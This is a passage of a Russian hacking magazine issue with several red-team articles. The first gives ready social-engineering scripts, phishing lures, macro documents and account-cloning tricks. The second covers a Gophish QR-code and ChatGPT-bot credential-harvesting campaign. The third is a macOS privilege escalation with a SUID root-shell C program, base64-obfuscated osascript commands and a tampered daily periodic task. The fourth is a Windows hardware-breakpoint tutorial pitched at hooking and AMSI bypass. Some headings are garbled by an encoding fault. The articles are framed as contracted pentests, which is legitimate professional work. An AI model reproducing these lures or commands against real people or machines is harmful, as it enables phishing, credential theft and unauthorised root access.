А еще совсем нехороший человек может стать SMM-рейдером, то есть
присвоить себе группу в LinkedIn, у которой пока нет владельца (см. скриншот
ниже), но сейчас не об этом.

Пример сообщения на странице банка, у которой нет владельца

Итак, мы «подружились» с сотрудниками организации, которая заказала нам


пентест. Приступим к написанию сообщений. Если ты не уверен, что человек
работает в целевой организации, — это отличный повод начать общение (на
самом деле даже если он там работает).
Делаем «многоходовку» и пишем простое именное сообщение:

« «..., äîáðûé äåíü. Âû åùå ðàáîòàåòå â ...?»

Ответ, как правило, укладывается в один из трех вариантов: да, нет, а что?
»
Если ответ утвердительный, пишем: «Жаль, конечно, в хорошем смысле,
но ладно, успехов Вам!» Жертве станет любопытно, и она опять же спросит:
«А что?»
Говорим: «Так как речь идет о работе, я не хочу, чтобы меня обвиняли
в переманивании, поэтому вы можете ознакомиться с информацией в откры-
том доступе самостоятельно (тут ссылка на фишинговую форму авторизации
в соцсети). Только, если что, Вы нашли ее случайно :)».
Если мы нацелены получить доступ к телефону или компьютеру жертвы, то
предлагаем отправить файл: «Так как речь идет о работе, я не хочу, чтобы
меня обвиняли в каком-то там переманивании. Но если Вам интересна
работа по специальности, с более высокой зарплатой и действительно адек-
ватным руководителем, я могу отправить файл на Вашу личную почту».
Или делаем другое окончание: «...и действительно адекватным руководите-
лем, то прикрепляю небольшую анкету».
Ну и после этого отправляем потенциальной жертве документ с макросом
или фишинговую ссылку. Если на первоначальный вопрос жертва пишет
«Нет», вычеркиваем человека из нашего рабочего списка, так как нам за таких
не платят.

• Название файла или ссылки может включать 220000p


или 220tysyachRub — так мы дадим понять, что деньги предлагаются
хорошие.
• Начинать сообщение с «Добрый день (утро, вечер)» лучше, чем
со «Здравствуйте», конверсия обычно значительно выше.
• В рабочее время сотрудник, скорее всего, будет заходить в соцсеть
с телефона, учти это при планировании атаки.
• В зависимости от текста сообщения можно отправить сотруднику не прос-
то ссылку или файл c макросом, но и .apk, якобы специально созданное
для соискателей закрытое приложение, в котором нужно разрешить
геолокацию, авторизоваться в Gmail, дать доступ к СМС и так далее.

Î ÏÎÈÑÊÅ ÑÎÒÐÓÄÍÈÊÎÂ Â ÑÎÖÑÅÒßÕ

Можно искать сотрудников не только стандартным поиском в соцсетях, но и


через страницы компании. Например, в «запрещенной соцсети» нужно смот-
реть, кто лайкает посты на этой странице. Если один человек лайкнул нес-
колько постов (особенно когда лайков под постами два-три), с большой
долей вероятности можно сказать, что это сотрудник организации. Но при
таргетированной социальной инженерии имеет смысл уточнить эту информа-
цию по другим источникам, поскольку этот лайкающий, может быть, просто
хочет устроиться в компанию на работу.
Как искать сотрудников в VK? Если кратко, то идем на специальную стра-
ницу и вбиваем название интересующего нас работодателя в поиск.

Ну а LinkedIn просто создан для поиска сотрудников в определенных ком-


паниях. Он заблокирован в РФ, однако люди как-то продолжают им поль-
зоваться :)

ÊËÎÍÈÐÎÂÀÍÈÅ ÀÊÊÀÓÍÒÎÂ

Вновь созданный аккаунт будет вызывать больше доверия, если это фей-
ковый профиль коллеги, друга, знакомого потенциальной жертвы. Создавая
фейковую копию аккаунта коллеги, используй подмену символов.
Как мошенники в Telegram создают копии известных групп и профилей, так
и ты можешь использовать этот прием, когда указываешь имя аккаунта, —
в благих целях, разумеется.
Например, мошенники в своих «методичках» именно так и рекомендуют
поступать в известной соцсети с фотографиями, например вместо точки
использовать нижнее подчеркивание и наоборот: скажем, yu.ra вместо yu_ra.
Не забываем и про классический тайпсквоттинг, когда символы заменяют
похожими или добавляют лишние, например valeron меняем на valer0n.
Если пользователь вдруг заметит подвох и спросит, почему ты пишешь
с нового аккаунта, скажи, что ты потерял доступ к старому, а восстановить его
не получается.

ÌÅÄËÅÍÍÎ, ÍÎ ÂÅÐÍÎ

Почаще лайкай и комментируй посты на странице или в группе организации.


Нужно примелькаться, пусть тебя заметят пять — десять сотрудников. Успех
можно оценить по лайкам и комментариям твоих комментариев.
Дождись момента, когда тебя попросят о помощи или зададут вопрос.
Вместо ответа предложи скинуть требуемое на почту (в идеале корпоратив-
ную) и отправь потенциальной жертве нагрузку. В общем, лучшие сце-
нарии — это когда пользователь сам инициирует отправку ему ссылки
или файла. На иллюстрации ниже приведен наглядный пример такого.

ÌÍÎÃÎÕÎÄÎÂÊÀ Â ÑÎÖÑÅÒÈ

Порой удивляешься совершенно фантастическим сценариям, которые при-


меняют социальные инженеры в дикой природе. Вот пример «многоходовки»,
когда иранские хакеры маскировались под инструктора по аэробике. Больше
восемнадцати месяцев они работали через сеть ботов в Fb и по email (см.
рис. ниже), общаясь с работниками воздушно-космической обороны США.
Особенно хакеров интересовали те, кто участвует в операциях на Ближнем
Востоке.

Пример письма от иранского хакера с опросом для жертвы о ее питании

«Хакер» уже публиковал статью под названием «Иранские хакеры маскирова-


лись под инструктора по аэробике», подробно описывающую этот инцидент.
У тебя может и не оказаться нескольких месяцев на тесты, но не всегда
нужно торопиться. Ведь если сотрудники привыкают к «быстрым» методам
атак, то сложную многоходовку разгадать намного труднее. Если ты состоишь
в Red Team и регулярно ищешь лазейки в целевой организации, то долгоиг-
рающие атаки — это правильный подход.

ÏÎÌÎÙÜ ÏÎ ÇÀÏÐÎÑÓ

Нельзя не упомянуть и про тактику выжидания. Познакомившись с поль-


зователем в социальной сети, дождись, пока он сам не напишет в своем пос-
те просьбу о помощи (или уже написал, внимательно изучи ленту).
Воспользовавшись этим поводом, можно отправить потенциальной жер-
тве не только вредоносный архив, но и фишинговую ссылку на сайт, где якобы
раскрывается ответ на ее вопрос. Сайтом может быть и социальная сеть,
в которой ты общаешься с жертвой.

ÂÛÂÎÄÛ

Социальная инженерия в связке с социальными сетями — мощный инстру-


мент как для белых хакеров, так и для злоумышленников. Чем быстрее мы
найдем неосведомленных в сфере информационной безопасности сотрудни-
ков, тем лучше. Ведь рано или поздно навыки пользователей обязательно
кто-нибудь проверит — либо ты, либо хакер.
COVERSTORY

ВЫМАНИВАЕМ ПАРОЛЬ
ПРИ ПОМОЩИ QR-КОДА
И ЧАТ-БОТА

ChatGPT сейчас разве что в котлеты не кладут. В этой статье


мы расскажем, как в проекте по социальной инженерии
с помощью форка библиотеки для Gophish рассылать QR-
коды вместо обычных ссылок, чтобы вытащить сотрудников
из защищенного рабочего окружения на личные девайсы.
В качестве catchy-сценария рассылки мы рассмотрим
«Telegram-бот IT-поддержки с ChatGPT» и на самом деле
используем эту нейросеть для генерации кода бота, а также
подключим интеграцию с API OpenAI для общения с поль-
зователями.

В августе 2023 года прошла церемония награждения Pentest Award — премии


для специалистов по тестированию на проникновение, которую учредила
компания Awillix. Мы публикуем лучшие работы из каждой номинации. Эта
статья заняла первое место в номинации «Ловись, рыбка», посвященной
фишингу.

• Идея, сценарии: Ñåðãåé Ëóêèíûõ, @IBcrew


• Инфраструктура, домены, почта, Gophish: Èëüÿ Ãåîðãèåâñêèé,
@igeorgievsky
• Код для QR и чат-бота: Äìèòðèé Ìàðþøêèí, @dmarushkin

ÇÀÄÀ×À

На входе задача — сделать проект по социальной инженерии в крупной


финансовой организации с целью повышения осведомленности сотрудников
в области информационной безопасности.
Известно, что у сотрудников заказчика корпоративный Outlook, антиспам
и Chrome как дефолтный браузер. А также повышенный уровень социальной
ответственности и боевой готовности — как у ИБ-подразделения, так и у
рядовых служащих.
Из привычных инструментов будем использовать опенсорсный фреймворк
Gophish. Попытаемся вытянуть пользователя по ссылке на внешний ресурс
с доменом, похожим на корпоративный, и формой логина, а потом попросить
ввести учетные данные.

ÏÐÎÁËÅÌÛ

Что может пойти не так с рассылкой:


• Антиспам может срезать письмам баллы за некачественно настроенный
почтовый домен (DKIM, Dmark, вот это всё), недавно зарегистрированный
домен, подозрительные хедеры (привет, дефолтный X-Mailer:
gophish) и обилие ссылок в письме (ссылка на форму авторизации с RID-
меткой и ссылка на картинку в письме, по числу загрузок которой изме-
ряется процент открытия писем).
• Chrome на рабочих хостах пользователей при переходе по ссылкам
из писем на свежий домен может с большой вероятностью показать крас-
ную простыню, что явно уменьшит конверсию из перешедших по ссылкам
в тех, кто ввел пароль.

С настройкой почтового домена, временем после регистрации домена


и хедерами все относительно просто: при желании можно настроить
и затюнить, а ссылку на картинку вообще убрать — корпоративный Outlook
все равно ее не отобразит в письме от внешнего отправителя.
Но как уйти от внешней ссылки на форму в письме и внезапной паранойи
браузера?

ÐÅØÅÍÈÅ

Почему бы нам не увести пользователя из защищенного рабочего окружения


на фишинговый ресурс, открытый на личном девайсе, предложив ему в пись-
ме QR-код?
Тут мы, кажется, убиваем сразу двух зайцев: и антиспам немного рассла-
бится, так как у него нет понижающего score фактора с внешними ссылками
в письме, и браузер на личном телефоне не склонен, в отличие от десктопной
версии Chrome, так паниковать при виде нового домена.
Но как вставить QR в письмо? Это же тоже картинка, и корпоративный
Outlook пожрет ее в сообщениях от внешнего отправителя так же, как кар-
тинку Gophish.
Тот же Яндекс рассылает QR-ссылки на чеки, сверстанные при помощи
слоев (div).

Второй вариант — сделать QR-код из символов Unicode.

Попробуем затащить в Gophish оба варианта и посмотрим, что будет лучше


выглядеть в Outlook.
Для этого сначала принесем в библиотеку go-qrcode, которая часто
используется для работы с QR в Go, два новых метода для генерации QR
в Unicode и HTML.

Дальше в Gophish добавим генерацию QR-ссылки в переменную для поч-


тового шаблона.

В ходе пусконаладочных испытаний мы выявили, что для Outlook корректней


отображение в Unicode, а для веб-клиентов (Gmail, Mail.ru, Yandex) и мобиль-
ных клиентов лучше выглядит HTML QR.
В рассылке можно поддержать сразу оба варианта через следующую
конструкцию.

Мы получили рабочий способ пробросить QR со ссылкой в письмо. Смар-


тфон без вопросов его читает и открывает нам веб-форму авторизации
Gophish без намеков на беспокойство. Ура!

ÑÖÅÍÀÐÈÉ ÐÀÑÑÛËÊÈ

Итак, у нас есть новый велосипед, куда бы нам на нем поехать?


Нам нужен правдоподобный предлог для пользователя, чтобы у него воз-
никло желание сканировать QR-код со смартфона и там же ввести свои учет-
ные данные.
Когда мы работали над проектом, из каждого утюга рассказывали о все
новых нишах для применения ChatGPT. Почему бы не обыграть его и у нас?
Так родился сценарий проверки сотрудников «Новый Telegram-бот IT-под-
держки сотрудников с ChatGPT».

Письмо также содержало примеры работы с ботом (выбрали реальные отве-


ты ChatGPT) и сообщение о подарках для первых зарегистрировавшихся.

И раз уж мы используем в сценарии ChatGPT, почему бы сам код с логикой


для бота не написать именно ему? За пару часов, десяток запросов и уточ-
нений мы получили вполне рабочий код бота.
Он принимает пользователя по ссылке из письма с RID-меткой и просит
авторизоваться по ссылке на форму.

После перехода на веб-форму авторизации сотруднику предлагалось ввести


свою корпоративную почту и пароль.

После ввода реквизитов пользователь возвращается к боту. Собранные рек-


визиты сотрудников сохранялись на нашем сервере.
После авторизации (и только после) бот ловил callback от формы Gophish
и оставался общаться с пользователем в заданной нами роли бота IT-под-
держки организации.

API OpenAI корректно воспринял заданный стартовый ввод («Ты веселый бот
IT-поддержки сотрудников банка Х, расположенного в Y») и дальше выдавал
вполне релевантные ответы попавшимся на рассылку сотрудникам.

ÂÛÂÎÄÛ

Итак, мы научили Gophish формировать текстовые QR-ссылки с помощью


Unicode-символов и элементов div, выяснили, что для корпоративного
Outlook лучше всего подошли именно QR-коды в Unicode.
Далее, чтобы объяснить необходимость перейти со смартфона по QR-
ссылке, мы выбрали сценарий «Telegram-бот IT-поддержки с ChatGPT» и с
помощью этой же нейросети написали полнофункционального бота IT-под-
держки, использовав API OpenAI. Задав боту минимальный стартовый кон-
текст об организации, мы научили его давать релевантные ответы об адресах
и телефонах офисов, а подняв боту уровень юмора, смогли добиться вирус-
ного эффекта. Такой бот может привлечь даже сотрудников, не включенных
в рассылку.
Наш клиент получил новый инструмент для обучения сотрудников бдитель-
ности, что должно помочь защитить их от набирающих популярность фишин-
говых атак в мессенджерах. Отдельный челлендж для клиента — разработать
механизмы обнаружения сценариев, при которых сотрудники переключаются
на личные устройства.

На GitHub одного из авторов ты найдешь ис-


ходные коды форка библиотеки go-qrcode с под-
держкой QR-кодов в виде тегов HTML и символов
Unicode и исходные коды бота для Telegram.
COVERSTORY

ЗЛОУПОТРЕБЛЯЕМ УСТАНОВКОЙ
VS CODE ДЛЯ ЛОКАЛЬНОГО
ПОВЫШЕНИЯ ПРИВИЛЕГИЙ

Когда тебе нужно заставить сотрудников


техподдержки выдать креды и привилегии
в macOS, но так, чтобы они при этом ничего
не заподозрили, можно смело предлагать
завершить установку легитимного ПО, sn vvcr sh
Sr. Penetration Tester, Red
которое ты предварительно кастомизи- Team Operator
ppn.snovvcrash.rocks
ровал. Для примера разберем, как это сде-
лать с любимым всеми Visual Studio Code.

В августе 2023 года прошла церемония награждения Pentest Award — премии


для специалистов по тестированию на проникновение, которую учредила
компания Awillix. Мы публикуем лучшие работы из каждой номинации. Эта
статья заняла третье место в номинации «Ловись, рыбка», посвященной
фишингу.

Этот способ мы применили по заказу одного î÷åíü крупного российского


холдинга в ходе комплексной операции Red Team. Заказчик настоял
на реализации следующего сценария: нас «устраивают» в компанию по сог-
ласованной легенде как внешних сотрудников на удаленке с выданным
MacBook в качестве рабочего ноута.
Так как привилегии обычных сотрудников на «маках» в организации сильно
урезаны, обращения к техподдержке по большей части состоят из писем вро-
де «админ, помоги мне установить такую-то программу». Из этого родилась
идея воспользоваться этой особенностью рабочего процесса для повыше-
ния привилегий на «маке» до рута и заполучить служебную учетку из /etc/
krb5.keytab для развития дальнейших атак на AD.

ÑÏÓÔÈÌ ÄÈÀËÎÃ ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ

В паблике есть мануал по написанию вредоносного расширения, которое


умеет само стартовать при запуске VS Code и светить назойливым окном
в глаза ненавистному админу, клянча его пароль.

Достоинство этого метода в том, что можно получить креды привилегирован-


ной учетки в открытом виде. Расширение пишется в пользовательскую дирек-
торию ~/.vscode, поэтому, даже если у админа стоит чистый VS Code, запуск
модульного окна сохранится.
Недостаток в том, что надо поймать î÷åíü уставшего админа, чтобы пред-
приятие взлетело, — диалоговое окно рисуется с помощью AppleScript,
поэтому выглядит весьма халтурно и серьезно отличается от встроенных окон
запроса расширенных привилегий. В связи с этим мы решили найти другой
способ абьюзить VS Code.

ÌÎÄÈÔÈÖÈÐÓÅÌ VS CODE

Несмотря на то что VS Code можно запускать с привилегиями пользователя,


внутри есть дополнительные функции, которые требуют прав администра-
тора. Например, интеграция команды code в консоль (для этого вносятся
изменения в системный PATH). В VS Code это делается командой
из Command Palette (Command-Shift-P).
Хотя разработчики Code настоятельно не рекомендуют изменять встро-
енные системные команды, хакеры любят жить опасно, поэтому способ есть.

Грепнув каталог с VS Code по строке command in PATH, найдем отсылку к JS-


функции installCommandLine:

$ pwd
/Applications/Visual Studio Code.app

$ grep -r 'command in PATH'


./Contents/Resources/app/out/vs/workbench/workbench.desktop.main.js:...
class S extends I.Action2{constructor()
{super({id:"workbench.action.installCommandLine",title:{value:
(0,t.localize)(1,null,L.default.applicationName),original:Install '${L.
default.applicationName}' command in PATH} ...

Далее, грепнув по installCommandLine, найдем само тело исполняемой


команды.

$ grep -r 'installShellCommand'
./Contents/Resources/app/out/vs/code/electron-main/main.js:... async
installShellCommand(T){const{source:U,target:H}=await
this.n();try{const{symbolicLink:re}=await
p.SymlinkSupport.stat(U);if(re&&!re.dangling){const
Y=await(0,u.realpath) (U);if(H===Y)return}await
p.Promises.unlink(U)}catch(re){if(re.code!=="ENOENT")throw re}try{await
p.Promises.symlink(H,U)}catch(re)
{if(re.code!=="EACCES"&&re.code!=="ENOENT")throw
re;const{response:Y}=await this.showMessageBox(T,{type:"info",message:
(0,y.localize) (0,null,this.h.nameShort),buttons:[(0,y.localize)
(1,null),(0,y.localize)(2,null)]});if(Y===0)try{const ne=osascript -e
"do shell script \"mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\"
with administrator privileges";await(0,O.promisify)(E.exec)
(ne)}catch{throw new Error((0,y.localize)(3,null,U))}}} ...

Как видишь, ничто не мешает нам добавить собственное действие к команде


osascript, но надо придумать, что именно мы можем сделать для сох-
ранения и последующего восстановления привилегированного доступа.

osascript -e "do shell script \"mkdir -p /usr/local/bin \


&& ln -sf '${H}' '${U}'\" with administrator privileges"

Курс Offensive Security «EXP-312: Advanced macOS Control Bypasses» пред-


лагает изменить настройки PAM-модуля (а именно перечня обязательных
критериев при аутентификации через sudo), чтобы имперсонировать root
без пароля. Это делается с помощью изменения файла настроек /etc/pam.
d/sudo.

К сожалению, этот способ не взлетел в macOS 13.2.1, поскольку теперь


недостаточно быть рутом, чтобы менять содержимое чувствительных файлов
на диске (все, что связано с кредами и аутентификацией). Для этого у про-
цесса, который запрашивает такие изменения, должна быть привилегия Full
Disk Access, которая навешивается только через GUI.
Мы решили пойти дедовским способом и создать SUID-бинарь (благо хоть
это на «маке» работает):

// gcc -o suidshell suidshell.c


// ./suidshell root
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>
#include <unistd.h>
void change_to_user(const char *szUserName)
{
struct passwd *pw;
pw = getpwnam(szUserName);
if (pw != NULL)
{
uid_t uid = pw->pw_uid;
if (setuid(uid) == 0) system("/bin/bash -p");
}
}
int main(int argc, char **argv)
{
if (argc == 1) return 1;
for (int i = 1; i < argc; i++) change_to_user(argv[i]);
return 0;
}

Теперь можно добавить веселые команды к куску кода, нагрепанному выше,


чтобы навесить нужного владельца и SUID-бит на шелл:

osascript -e "do shell script \"chown root:wheel /tmp/suidshell \


&& chmod u+s /tmp/suidshell \
&& mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\" with
administrator privileges"

Еще немного покопавшись, мы открыли другую интересную возможность —


вместо того чтобы класть SUID-бинарь на диск непосредственно
перед фишингом, можно добавить команды выше к задаче /etc/periodic/
daily/110.clean-tmps, которая выполняется ежедневно:

sed -i '' -e 's/exit \$rc/chown root:wheel \/tmp\/\suidshell \&\&


chmod u+s \/tmp\/\suidshell\nexit \$rc/' /etc/periodic/daily/110.
clean-tmps

osascript -e "do shell script \" echo


c2VkIC1pICcnIC1lICdzL2V4aXQgXCRyYy9jaG93biByb290OndoZWVsIFwvdG1wXC9cc
3VpZHNoZWxsIFwmXCYgY2htb2QgdStzIFwvdG1wXC9cc3VpZHNoZWxsXG5leGl0IF
wkcmMvJyAvZXRjL3BlcmlvZGljL2RhaWx5LzExMC5jbGVhbi10bXBz | base64 -d |
sh && mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\" with
administrator privileges"

Так можно дифференцировать ход LPE: сначала отредактировать запус-


каемую по расписанию задачу, а потом принести SUID-шелл и дожидаться
его повышения.

До выполнения скам-команды

Выполнение скам-команды

После выполнения скам-команды

В результате получаем нативное диалоговое окно для запроса повышения


привилегий. Пожалуй, это перевешивает все недостатки. Какие? Увы, так
нельзя утащить пароль админа в виде текста, к тому же нужно класть на диск
дополнительный бинарь, что может вызвать срабатывание мониторинга, если
он используется. И конечно, если админ притащит свой экземпляр VS Code,
жмем F to pay respects.

ÂÛÂÎÄ

Прикинувшись беспомощным юзером, полностью находящимся во власти


всемогущего админа (то есть сотрудника техподдержки), можно чужими
руками «бесплатно» повысить себе локальные привилегии на макбуке
и потенциально разжиться дополнительными доступами. GGWP!
ВЗЛОМ

ИСПОЛЬЗУЕМ ХАРДВЕРНЫЕ
БРЕЙК-ПОЙНТЫ
В ПЕНТЕСТЕРСКИХ ЦЕЛЯХ

Windows предоставляет мощные инстру-


менты для установки точек останова непос-
редственно в памяти. Но знаешь ли ты, что
с их помощью можно ставить и снимать
хуки, а также получать сисколы? В этой MichelleVermishelle
@Michaelzhm
статье я в подробностях расскажу, как это michael.zhmailo@yandex.ru

делать.

Точки останова служат для контроля выполнения программы и, конечно же, их


остановки в определенный момент. Глобально существует два вида
брейк-пойнтов: software breakpoints и hardware breakpoints.
Software breakpoint — точка останова, которая ставится с помощью
отладчика или IDE. Чтобы поставить такую точку останова, можно, например,
просто кликнуть на нужную строку программы в Visual Studio.

Установка software breakpoint в Visual Studio

Такие точки останова можно ставить где угодно и сколько угодно. Никаких
ограничений нет.

Установка множества software breakpoint

Hardware breakpoint — уже более сложная штука, которую мы сегодня и будем


изучать. Эти бряки ставятся путем заполнения специальных отладочных
регистров процессора (DR0–DR7). Согласно документации, Dr0–3 должны
хранить адрес, по которому установлен breakpoint, но у меня бряк срабаты-
вал, только если адрес заполнялся в DR0.
Первые три регистра называются регистрами с отладочными адресами
(Debug Address Registers). Регистры с номерами 4 и 5 не используются
и называются зарезервированными отладочными регистрами (Reserved
Debug Registers). DR6 содержит различную информацию о сработавшем
исключении. Исключение — это событие, возникающее, когда компьютер
пытается выполнить инструкцию, адрес которой расположен в DR0.
DR7 содержит биты управления отладкой. Если значение равно единице, то
точка останова должна сработать, если нулю, то не должна.
Hardware breakpoints, как ты понимаешь, через красивый GUI не ставятся.
Нам потребуется взаимодействовать с регистрами напрямую, используя,
конечно же, наш любимый WinAPI. И само собой, только хардверные брейки
позволят хукать, обходить AMSI и получать сисколы. Софтверные, к сожале-
нию, для этого не подходят.

ÎÁÐÀÁÎÒÊÀ ÈÑÊËÞ×ÅÍÈÉ

Итак, исключение возникает при попытке выполнить инструкцию, на которой


стоит точка останова. По своей натуре оно при этом точно такое же, как,
к примеру, при попытке деления на ноль.

Как выглядит исключение

Любые исключения могут быть обработаны. Здесь есть два пути — VEH
(Vectored Exception Handling) и SEH (Structured Exception Handling). Отдельно я
выделю еще UEH (Unhandled Exception Handling). Начнем с SEH. SEH — стан-
дартный блок __try — __finally, __try — __except.

#include <iostream>
#include <Windows.h>
int main() {
int a = 2 - 2;
int b = 3;
__try {
std::cout << b / a << std::endl;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
std::cout << "EXCEPTION" << std::endl;
}
return 0;
}

Обработка исключения с помощью SEH

SEH можно считать надстройкой над конструкцией try — except из С++. В SEH
в блок __except добавляются специальные значения, в зависимости
от которых может меняться поведение обработчика исключений:
• EXCEPTION_EXECUTE_HANDLER — система передает управление в обра-
ботчик исключения. То есть будет поведение, как в коде выше;
• EXCEPTION_CONTINUE_SEARCH — эта конструкция заставляет систему
перейти к предыдущему блоку try, которому соответствует блок except,
и обработать этот блок. То есть система игнорирует текущий обработчик
исключений и пытается найти обработчик исключений в охватывающем
блоке (или блоках);
• EXCEPTION_CONTINUE_EXECUTION — обнаружив такое значение, сис-
тема возвращается к инструкции, вызвавшей исключение, и пытается
выполнить ее снова.

Ниже — пример EXCEPTION_CONTINUE_EXECUTION.

#include <iostream>
#include <cstddef>
#include <Windows.h>

char g_szBuffer[100];

LONG Filter(char** ppchBuffer) {


if (*ppchBuffer == NULL) {
*ppchBuffer = g_szBuffer;
return(EXCEPTION_CONTINUE_EXECUTION);
}
return(EXCEPTION_EXECUTE_HANDLER);
}

int main() {
int x = 0;
char* pchBuffer = NULL;
__try {
*pchBuffer = 'J';
x = 5 / x;
}
__except (Filter(&pchBuffer)) {
MessageBox(NULL, L"An exception occurred", NULL, MB_OK);
}
MessageBox(NULL, L"Function completed", NULL, MB_OK);
return 0;
}

Пример EXCEPTION_CONTINUE_EXECUTION

Программы могут быть сложные, страшные, большие, нужно предусматри-


вать корректный выход из всех блоков, изучать возможные исключения. Вдруг
потребуется функция уведомления пользователя о сработавшем исклю-
чении? В общем, SEH хорош, но, помимо него, появился и VEH. VEH можно
считать эдакой надстройкой над SEH. Работает она, само собой, только
в Windows.
Если в программе возникает исключение, то первыми вызываются именно
векторные обработчики и лишь затем система начнет разворачивать стек.
С помощью VEH прога может, например, зарегистрировать функцию
для просмотра или обработки всех исключений приложения. Причем в прог-
рамму можно добавить несколько VEH-обработчиков, и они будут вызваны
в том порядке, в котором были добавлены. Первый — первым, второй — вто-
рым и так далее. SEH после VEH вызывается только в том случае, если VEH
вернул EXCEPTION_CONTINUE_SEARCH.
С помощью VEH можно ловить исключения, возникающие при хардверных
брейках. Добавить обработчик можно с помощью функции
AddVectoredExceptionHandler().

PVOID AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler)

• FirstHandler — вызывать обработчик раньше всех ранее зарегистри-


рованных обработчиков (значение CALL_FIRST) или после всех (значение
CALL_LAST);
• VectoredHandler — адрес функции обработчика. Эта функция должна
возвращать EXCEPTION_CONTINUE_EXECUTION. Обработчики далее
не выполняются, обработка средствами SEH не производится, управление
передается в ту точку программы, из которой было вызвано исключение
или EXCEPTION_CONTINUE_SEARCH (выполняется следующий векторный
обработчик, а если таких нет, то разворачивается SEH).

Зарегистрируем обработчик и проверим работу VEH. Исключением пока


будет стандартный Null-Pointer Reference. То есть обращение к указате-
лю, который имеет значение nullptr.

#include <iostream>
#include <windows.h>
#include <errhandlingapi.h>

LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS


exceptionInfo)
{
std::cout << "Exception occurred!" << std::endl;
std::cout << "Exception Code: " << exceptionInfo->ExceptionRecord->
ExceptionCode << std::endl;
std::cout << "Exception Address: " << exceptionInfo->ExceptionRecord
->ExceptionAddress << std::endl;

return EXCEPTION_CONTINUE_SEARCH;
}

int main()
{
if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) ==
nullptr)
{
std::cout << "Failed to add the exception handler!" << std::endl;
return 1;
}

int* p = nullptr;
*p = 42; // Исключение возникает тут

return 0;
}

Обработка исключения с помощью VEH

Видим, что обработчик успешно срабатывает и вызывается, затем возвра-


щает EXCEPTION_CONTINUE_SEARCH. Это, в свою очередь, дергает SEH, SEH
в программе нет, поэтому Visual Studio включается и выдает нам исключение.
Если будем возвращать EXCEPTION_CONTINUE_EXECTION, то получим бес-
конечный вызов обработчика, так как каждый раз будет срабатывать строка
*p = 42.

Бесконечная обработка исключения

Точно такое же исключение будет срабатывать и при хардверных бряках.


Наконец, последний тип обработчиков — Unhandled Exception Filter. Он
редко когда используется, но изначально задумывался как обработчик
для исключений, которые вообще никто не обрабатывает. Ни VEH (если
отсутствует или вернул EXCEPTION_CONTINUE_SEARCH), ни SEH (если тоже
отсутствует или указано EXCEPTION_CONTINUE_SEARCH). Устанавливаются
такие обработчики через функцию SetUnhandledExceptionFilter().

LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
[in] LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);

Функция принимает один-единственный параметр — адрес функции-обра-


ботчика, которая должна вызываться при возникновении необработанного
исключения. С помощью UEF также ловятся исключения, возникающие
при бряках.
Возьмем прошлый код и переделаем его под UEF.

#include <iostream>
#include <windows.h>

LONG WINAPI MyUnhandledExceptionHandler(PEXCEPTION_POINTERS


exceptionInfo)
{
std::cout << "Unhandled exception occurred!" << std::endl;

std::cout << "Exception Code: " << exceptionInfo->ExceptionRecord->


ExceptionCode << std::endl;
std::cout << "Exception Address: " << exceptionInfo->ExceptionRecord
->ExceptionAddress << std::endl;

return EXCEPTION_CONTINUE_SEARCH;
}

int main()
{
if (SetUnhandledExceptionFilter(MyUnhandledExceptionHandler) ==
nullptr)
{
std::cout << "Failed to set the unhandled exception filter!" << std
::endl;
return 1;
}

int* p = nullptr;
*p = 42;

return 0;
}

Обрати внимание, что если ты запустишь этот код в Visual Studio, то она
выдаст ошибку до UEF.

Исключение от «Студии», а не от UEF

Это связано с тем, что исключение в данном случае обрабатывает Visual


Studio. Если же файл будет запущен за пределами IDE, то мы получим
успешный вызов обработчика.

Вызов обработчика

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ИСПОЛЬЗУЕМ ХАРДВЕРНЫЕ БРЕЙК-ПОЙНТЫ


В ПЕНТЕСТЕРСКИХ ЦЕЛЯХ

ÓÑÒÀÍÎÂÊÀ HARDWARE BREAKPOINT

Установить HWBP проще простого — достаточно лишь занести в нужный


регистр адрес. Для большей абстракции я написал функцию SetHWBP(), куда
нужно передать адрес, по которому следует установить точку останова,
булево значение (TRUE — установить, FALSE — снять), а также номер регис-
тра. Согласно документации, адрес может быть указан в Dr0, Dr1 и так далее,
но у меня почему-то работало только с Dr0.

// address — адрес, по которому ставить функцию


// setBP — FALSE — снять бряк, TRUE — установить
// regnumer — номер регистра, который инициализировать адресом

VOID SetHWBP(LPVOID address, BOOL setBP, int regnumber) {


// Здесь передаем 0
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &context);
// Почему-то бряк, если адрес записывать в регистры, отличные от
Dr0, не срабатывает
std::string registerNames[] = { "Dr0", "Dr1", "Dr2", "Dr3" };
if (setBP) {
DWORD64* registers[] = { &context.Dr0, &context.Dr1, &context.Dr2,
&context.Dr3 };
if (regnumber >= 0 && regnumber < 4) {
*registers[regnumber] = (DWORD64)address;
std::cout << "Writing Address to " << registerNames[regnumber] <<
std::endl;
}
else {
std::wcout << L"Invalid Registry Number" << std::endl;
exit(-1);
}
// Установка бита 0 в DR7 для активации DR0
context.Dr7 |= 1;
// Установка битов 16–17 в DR7 для типа точки останова (Execute)
context.Dr7 |= (0b00 << 16);
// Установка битов 18–19 в DR7 для длины точки останова (1 byte)
context.Dr7 |= (0b00 << 18);
}
else {
context.Dr0 = 0;
context.Dr1 = 0;
context.Dr2 = 0;
context.Dr3 = 0;
context.Dr7 &= ~(1 << 0);
}

context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(GetCurrentThread(), &context);
}

Для получения значения регистров текущего потока используется функция


GetThreadContext(), а для установки измененных значений используется
SetThreadContext().
Причем, если мы хотим обрабатывать только исключения, сработавшие
из-за HWBP, в нашей функции-обработчике следует предусмотреть проверку
на наличие в структуре EXCEPTION_POINTERS элемента ExceptionCode, рав-
ного STATUS_SINGLE_STEP. Это значение свидетельствует о том, что воз-
никло событие, когда одна инструкция завершается и следующая инструкция
готова к выполнению.

